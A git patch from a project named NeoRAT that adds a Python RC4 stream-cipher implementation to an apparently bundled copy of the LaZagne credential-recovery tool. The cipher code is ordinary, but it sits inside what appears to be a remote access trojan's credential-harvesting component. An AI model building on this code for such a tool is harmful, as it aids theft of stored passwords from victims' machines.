From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../client_handling/lazagne/config/crypto/rc4.py | 57 ++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/crypto/rc4.py (limited to 'foreign/client_handling/lazagne/config/crypto/rc4.py') diff --git a/foreign/client_handling/lazagne/config/crypto/rc4.py b/foreign/client_handling/lazagne/config/crypto/rc4.py new file mode 100644 index 0000000..58b9333 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/rc4.py @@ -0,0 +1,57 @@ +# Thanks to g2jun for his RC4-Python project +# Code from https://github.com/g2jun/RC4-Python + +from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte + + +class RC4(object): + + def __init__(self, key): + self.key_bytes = self.text_to_bytes(key) + + def text_to_bytes(self, text): + byte_list = [] + + # on Windows, default coding for Chinese is GBK + # s = s.decode('gbk').encode('utf-8') + for byte in text: + byte_list.append(char_to_int(byte)) + + return byte_list + + def bytes_to_text(self, byte_list): + s = b'' + for byte in byte_list: + s += chr_or_byte(byte) + return s + + def encrypt(self, data): + plain_bytes = self.text_to_bytes(data) + keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes) + return self.bytes_to_text(cipher_bytes) + + def crypt(self, plain_bytes, key_bytes): + + keystream_list = [] + cipher_list = [] + + key_len = len(key_bytes) + plain_len = len(plain_bytes) + S = list(range(256)) + + j = 0 + for i in range(256): + j = (j + S[i] + key_bytes[i % key_len]) % 256 + S[i], S[j] = S[j], S[i] + + i = 0 + j = 0 + for m in range(plain_len): + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + k = S[(S[i] + S[j]) % 256] + keystream_list.append(k) + cipher_list.append(k ^ plain_bytes[m]) + + return keystream_list, cipher_list \ No newline at end of file -- cgit v1.2.3